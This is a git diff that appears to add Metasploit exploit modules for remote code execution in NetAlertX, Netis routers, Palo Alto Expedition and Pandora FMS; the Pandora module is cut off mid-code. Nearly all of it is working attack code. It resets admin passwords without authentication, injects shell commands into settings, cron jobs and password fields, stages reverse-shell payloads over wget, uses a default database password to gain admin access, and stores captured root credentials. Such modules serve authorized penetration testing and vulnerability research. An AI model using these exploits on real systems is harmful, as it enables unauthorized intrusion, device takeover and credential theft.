b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb new file mode 100644 index 000000000000..a93b3439583b --- /dev/null +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Unauthenticated RCE in NetAlertX', + 'Description' => %q{ + An attacker can update NetAlertX settings with no authentication, which results in RCE. + }, + 'Author' => [ + 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-46506'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], + # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true, + 'WfsDelay' => 150 + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd + } + ], + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => ' \'\\' + }, + 'DisclosureDate' => '2025-01-30', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(20211), + OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), + OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) + ] + ) + register_advanced_options( + [ + OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ]) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'maintenance.php') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + html_document = res&.get_html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? + + version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? + + version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + # Command is split by space character, and executed by the following Python code: + # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 + cmd = "/bin/sh -c #{payload.encode}" + update_settings(cmd, '*') + # Not updated immediately + print_status('Waiting for the settings to be properly updated...') + retry_until_truthy(timeout: datastore['WAIT']) do + check_settings(cmd) + end + add_to_execution_queue('run|DBCLNP') + add_to_execution_queue('cron_restart_backend') + print_status('Added the payload to the queue. Waiting for the payload to run...') + end + + def update_settings(cmd, sche) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'savesettings', + 'settings' => [ + ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], + ['DBCLNP', 'DBCLNP_CMD', 'string', cmd], + ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], + ].to_json + } + }) + fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 + print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") + end + + def add_to_execution_queue(cmd) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'addToExecutionQueue', + 'action' => "#{SecureRandom.uuid}|#{cmd}" + } + }) + fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 + end + + def check_settings(cmd) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') + }) + return unless res&.code == 200 + + res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } + end + + def cleanup + super + + if datastore['CLEANUP'] + # Default settings, isn't usually changed. + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 + update_settings( + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', + '*/30' + ) + end + end +end diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.rb new file mode 100644 index 000000000000..a8b9fb6856e6 --- /dev/null +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.rb @@ -0,0 +1,237 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).', + 'Description' => %q{ + Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection + vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details). + The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the + router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter, + encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to + command execution, potentially allowing the attacker to take full control of the router. + An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated + attacker to reset the Wifi and router password, hence gaining full root access to the router to execute the RCE. + + Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration + information of the router which can be used by the attacker to determine if the router is running specific vulnerable + firmware. + + The following router firmware versions are vulnerable: + * netis_MW5360_V1.0.1.3031_fw.bin + * Netis_MW5360-1.0.1.3442.bin + * Netis_MW5360_RUSSIA_844.bin + * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40) + * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35) + * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35) + * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35) + * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin + * netis_NC65_V3.0.0.3749.bin + * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34) + * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34) + * netis_NX10_V2.0.1.3582_fw.bin + * netis_NX10_V2.0.1.3643.bin + * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33) + * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33) + * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin + * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin + * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40) + * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6) + * potentially others... + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ' # Discovery of the vulnerability and MSF module contributor + ], + 'References' => [ + ['CVE', '2024-48455'], + ['CVE', '2024-48456'], + ['CVE', '2024-48457'], + ['URL', 'https://attackerkb.com/topics/L6qgmDIMa1/cve-2024-48455'], + ['URL', 'https://attackerkb.com/topics/Urqj4ggP4j/cve-2024-48456'], + ['URL', 'https://attackerkb.com/topics/ty1TOgc40f/cve-2024-48457'], + ['URL', 'https://github.com/users/h00die-gr3y/projects/1'] + ], + 'DisclosureDate' => '2024-12-27', + 'Platform' => ['linux'], + 'Arch' => [ARCH_MIPSLE], + 'Privileged' => true, + 'Targets' => [ + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_MIPSLE], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 80, + 'HttpClientTimeout' => 60 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The Netis router endpoint URL', '/' ]), + OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30]) + ]) + end + + # CVE-2024-48457: unauthenticated password reset that resets the Wifi and root password of the router + # affected components: web endpoint /cgi-bin/skk_set.cgi and binary /bin/scripts/start_wifi.sh + def set_router_password + @password = Rex::Text.rand_text_alphanumeric(8..12) + password_b64 = Base64.strict_encode64(@password) + print_status('Resetting router password for authentication.') + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'), + 'vars_post' => { + 'wl_idx' => 0, + 'wlanMode' => 0, + 'encrypt' => 4, + 'wpaPsk' => password_b64, + 'wpaPskType' => 2, + 'wpaPskFormat' => 0, + 'password' => password_b64, + 'autoUpdate' => 0, + 'firstSetup' => 1, + 'quick_set' => 'ap', + 'app' => 'wan_set_shortcut', + 'wl_link' => 0 + } + }) + # in some cases no SUCCESS response is returned however the password has been set succesfully + # therefore check if the login is successfull and get the password cookie + print_status("Logging in with the new router password #{@password} to get the password cookie.") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/login.cgi'), + 'keep_cookies' => true, + 'vars_post' => { + 'password' => password_b64 + } + }) + return res&.code == 200 && res.body.include?('SUCCESS') + end + + # CVE-2024-48456: remote code execution in the parameter password at the change password page at + # the router web interface + # affected components: web endpoint /cgi-bin/skk_set.cgi and binary /bin/scripts/password.sh + def execute_command(cmd, _opts = {}) + # store name of payload and cleanup payload file when session is established (see def on_new_session) + @payload_name = cmd.split('+x')[1].strip if cmd.include?('chmod +x') + + # skip last command to remove payload because it does not work + unless cmd.include?('rm -f') + payload = Base64.strict_encode64("`#{cmd}`") + print_status("Executing #{cmd}") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'), + 'keep_cookies' => true, + 'vars_post' => { + 'password' => payload, + 'new_pwd_confirm' => payload, + 'passwd_set' => 'passwd_set', + 'mode_name' => 'skk_set', + 'app' => 'passwd', + 'wl_link' => 0 + } + }) + end + end + + def on_new_session(_session) + # cleanup payload file + register_files_for_cleanup(@payload_name.to_s) + super + end + + # CVE-2024-48455: information disclosure where an unauthenticated remote attacker can obtain sensitive information + # affected components: web endpoint /cgi-bin/skk_set.cgi via the mode_name and wl_link parameter + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'), + 'vars_post' => { + 'mode_name' => 'skk_get', + 'wl_link' => 0 + } + }) + return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 && res.body.include?('version') + + # trying to get the model and version number + # unfortunately JSON parsing fails for some routers, so we need to use this ugly REGEX :-( + # Examples: + # {'version':'Netis(MW5360)-V1.0.1.98','vender':'RUSSIA','model':'MW5360','time_now':'2024/12/29 01:37:58','sys_date':'2024'} + # {"version":"netis(NC65)-V3.0.0.3800","vender":"CIS","easy_mesh":"EASYMESH","module":"NC65v2","ax_support":"0"} + version = res.body.match(/(?:version\s*'|")\s*:\s*.?((\\|[^'|"])*)/) + # when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison + unless version.nil? + version_number = version[1].upcase.split('-V')[1].gsub(/[[:space:]]/, '') + # The model number part is usually something like Netis(NC63)-V3.0.0.3131, + # but occassionally you see things like Stonet-N3D-V3.0.0.4142, or NX10-V3.0.0.4142 + if version[1].upcase.split('-V')[0].include?('(') + model_number = version[1].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '') + elsif version[1].upcase.split('-V')[0].include?('-') + model_number = version[1].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '') + else + model_number = version[1].upcase.split('-V')[0] + end + # Check if target is vulnerable + if version_number + case model_number.split('V')[0] # split if any hardware version is part of the model number (NC65V2) + when 'NC63', 'NC65', 'NC66', 'NC21', 'NX10', 'NX30', 'NX31', 'NX62', 'MW5360', 'ALPHA-AC3', 'ALPHA-AC2', 'ALPHA-AC4' + return CheckCode::Appears(version[1].to_s) if Rex::Version.new(version_number) >= Rex::Version.new('1.0.0.0') + end + return CheckCode::Safe(version[1].to_s) + end + end + CheckCode::Safe + end + + def exploit + fail_with(Failure::NoAccess, 'Unable to set the router password and retrieve the password cookie.') unless set_router_password + + # store router admin password in msf database which is also the password of root ;-) + print_status('Saving router credentials (root) at the msf database.') + store_valid_credential(user: 'root', private: @password) + + # wait a while with exploit execution to avoid locking + sleep(datastore['CMD_DELAY']) + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed + execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY']) + end + end +end diff --git a/modules/exploits/linux/http/paloalto_expedition_rce.rb b/modules/exploits/linux/http/paloalto_expedition_rce.rb new file mode 100644 index 000000000000..b2d980037715 --- /dev/null +++ b/modules/exploits/linux/http/paloalto_expedition_rce.rb @@ -0,0 +1,275 @@ +class MetasploitModule < Msf::Exploit::Remote + + class XsrfExceptionError < StandardError; end + class XsrfExceptionUnreachableError < XsrfExceptionError; end + + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)', + 'Description' => %q{ + Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below. + The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. + When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michael Heinzl', # MSF Module + 'Zach Hanley', # Discovery CVE-2024-9464 and PoC + 'Enrique Castillo', # Discovery CVE-2024-9464 + 'Brian Hysell' # Discovery CVE-2024-5910 + ], + 'References' => [ + [ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'], + [ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'], + [ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'], + ['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'], + ['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'], + [ 'CVE', '2024-5910'], + [ 'CVE', '2024-24809'] + ], + 'DisclosureDate' => '2024-10-09', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => 'True', + 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3), + 'FETCH_WRITABLE_DIR' => '/tmp' + }, + 'Payload' => { + # the vulnerability allows the characters " and \ + # but the stager in this module does not + 'BadChars' => "\x22\x3a\x3b\x5c" # ":;\ + }, + 'Platform' => %w[unix linux], + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => %w[unix linux] + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ] + ], + + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']), + OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']), + OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']), + OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]), + OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]), + ] + ) + end + + def xsrf_token_value + user = @username || datastore['USERNAME'] + password = @password || datastore['PASSWORD'] + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'), + 'keep_cookies' => true, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'get', + 'type' => 'login_users', + 'user' => user, + 'password' => password + } + ) + + raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res + + data = res.get_json_document + + raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken'] + + print_good('Successfully authenticated') + + csrftoken = data['csrfToken'] + raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken + + vprint_status("Got csrftoken: #{csrftoken}") + csrftoken + end + + def check + unless datastore['USERNAME'] && datastore['PASSWORD'] + unless datastore['RESET_ADMIN_PASSWD'] + print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.') + return CheckCode::Unknown + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') + ) + + return CheckCode::Unknown('Failed to receive a reply from the server.') unless res + + if res.code == 403 + return CheckCode::Safe + end + + return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') + + respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' + print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") + @password = respass + @username = 'admin' + @reset = true + end + + begin + @xsrf_token_value = xsrf_token_value + rescue XsrfException::Error + return CheckCode::Safe + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'), + 'keep_cookies' => true, + 'headers' => { + 'Csrftoken' => @xsrf_token_value + } + ) + + data = res.get_json_document + version = data.dig('msg', 'Expedition') + + if version.nil? + return CheckCode::Unknown + end + + print_status('Version retrieved: ' + version) + + if Rex::Version.new(version) > Rex::Version.new('1.2.91') + return CheckCode::Safe + end + + return CheckCode::Appears + end + + def execute_command(cmd, check_res) + name = Rex::Text.rand_text_alpha(4..8) + vprint_status("Running command: #{cmd}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), + 'keep_cookies' => true, + 'headers' => { + 'Csrftoken' => @xsrf_token_value + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'set', + 'type' => 'cron_jobs', + 'project' => 'pandb', + 'name' => name, + 'cron_id' => 1, + 'recurrence' => 'Daily', + 'start_time' => "\";#{cmd} #" + } + ) + if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason? + fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") + end + end + + def exploit + cmd = payload.encoded + chunk_size = rand(25..35) + vprint_status("Command chunk size = #{chunk_size}") + cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join) + staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/') + + if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD']) + unless datastore['RESET_ADMIN_PASSWD'] + fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..') + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res + fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') + + respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' + print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") + @password = respass + @username = 'admin' + end + + begin + @xsrf_token_value = xsrf_token_value + rescue XsrfException::Error + return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.') + end + + print_status('Adding a new cronjob...') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), + 'keep_cookies' => true, + 'headers' => { + 'Csrftoken' => @xsrf_token_value + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'add', + 'type' => 'new_cronjob', + 'project' => 'pandb' + } + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + data = res.get_json_document + fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true + + # Stage the command to a file + redirector = '>' + chunk_counter = 0 + cmd_chunks.each do |chunk| + chunk_counter += 1 + vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}") + write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}" + execute_command(write_chunk, true) + redirector = '>>' + sleep 1 + end + + # Once we launch the payload, we don't seem to be able to execute another command, + # even if we try to background the command, so we need to execute and delete in + # the same command. + + print_good('Command staged; command execution requires a timeout and will take a few seconds.') + execute_command("cat #{staging_file} | sh && rm #{staging_file}", false) + sleep 3 + + print_status('Check thy shell.') + end +end diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb new file mode 100644 index 000000000000..64c5e006180e --- /dev/null +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -0,0 +1,365 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/mysql/client' +require 'digest/md5' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include BCrypt + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + # @!attribute [rw] mysql_client + # @return [::Rex::Proto::MySQL::Client] + attr_accessor :mysql_client + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password', + 'Description' => %q{ + Pandora FMS is a monitoring solution that provides full observability for your organization's + technology. This module exploits an command injection vulnerability in the LDAP authentication + mechanism of Pandora FMS. + You need have admin access at the Pandora FMS Web application in order to execute this RCE. + This access can be achieved leveraging a default password vulnerability in Pandora FMS that + allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain + administrative access to the Pandora FMS Web application. This attack can be remotely executed + over the WAN as long as the MySQL services are exposed to the outside world. + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module & default password weakness + 'Askar mhaskar', # POC Github CVE-2024-11320 + ], + 'References' => [ + ['CVE', '2024-11320'], + ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'], + ['URL', 'https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'php'], + 'Privileged' => false, + 'Arch' => [ARCH_CMD, ARCH_PHP], + 'Targets' => [ + [ + 'PHP Command', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_cmd + } + ], + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-21', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to the Pandora FMS application', '/pandora_console']), + OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandora']), + OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']), + OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']), + OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]), + OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']), + OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora']) + ]) + end + + # MySQL login + # returns true if successful else false + def mysql_login(host, user, password, db, port) + begin + self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port) + rescue Errno::ECONNREFUSED + print_error('Connection refused') + return false + rescue ::Rex::Proto::MySQL::Client::ClientError + print_error('Connection timedout') + return false + rescue Errno::ETIMEDOUT + print_error('Operation timedout') + return false + rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged + print_error('Unable to login from this host due to policy') + return false + rescue ::Rex::Proto::MySQL::Client::AccessDeniedError + print_error('Access denied') + return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false + end + true + end + + # MySQL query + # returns query result if successful (can be nil) else returns false + def mysql_query(sql) + begin + res = mysql_client.query(sql) + rescue ::Rex::Proto::MySQL::Client::Error => e + print_error("MySQL Error: #{e.class} #{e}") + return false + rescue Rex::ConnectionTimeout => e + print_error("Timeout: #{e.message}") + return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false + end + res + end + + # login at the Pandora FMS web application + # return true if login successful else false + def pandora_login(name, pwd) + # first login GET request to get csrf code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'login' => 1 + } + }) + return unless res&.code == 200 + + # scrape + html = res.get_html_document + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? + + # second login POST request using the csrf code + # csrf_code can be nil in older versions where the csrf_code is not implemented + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'login' => 1 + }, + 'vars_post' => { + 'nick' => name, + 'pass' => pwd, + 'Login_button' => "Let's go", + 'csrf_code' => csrf_code + } + }) + return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode') + end + + # CVE-2024-11320: Misconfigure LDAP with RCE payload + # return true if successful else false + def configure_ldap(payload) + # first LDAP GET request to get the csrf_code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'sec' => 'general', + 'sec2' => 'godmode/setup/setup', + 'section' => 'auth' + } + }) + return unless res&.code == 200 + + # scrape + html = res.get_html_document + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? + + # second LDAP POST request using the csrf_code + # csrf_code can be nil in older versions where the csrf_code is not implemented + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'sec' => 'general', + 'sec2' => 'godmode/setup/setup', + 'section' => 'auth' + }, + 'vars_post' => { + 'update_config' => 1, + 'csrf_code' => csrf_code, + 'auth' => 'ldap', + 'fallback_local_auth' => 1, + 'fallback_local_auth_sent' => 1, + 'ldap_server' => 'localhost', + 'ldap_port' => 389, + 'ldap_version' => 3, + 'ldap_start_tls_sent' => 1, + 'ldap_base_dn' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', + 'ldap_login_attr' => 'uid', + 'ldap_admin_login' => payload, + 'ldap_admin_pass' => nil, + 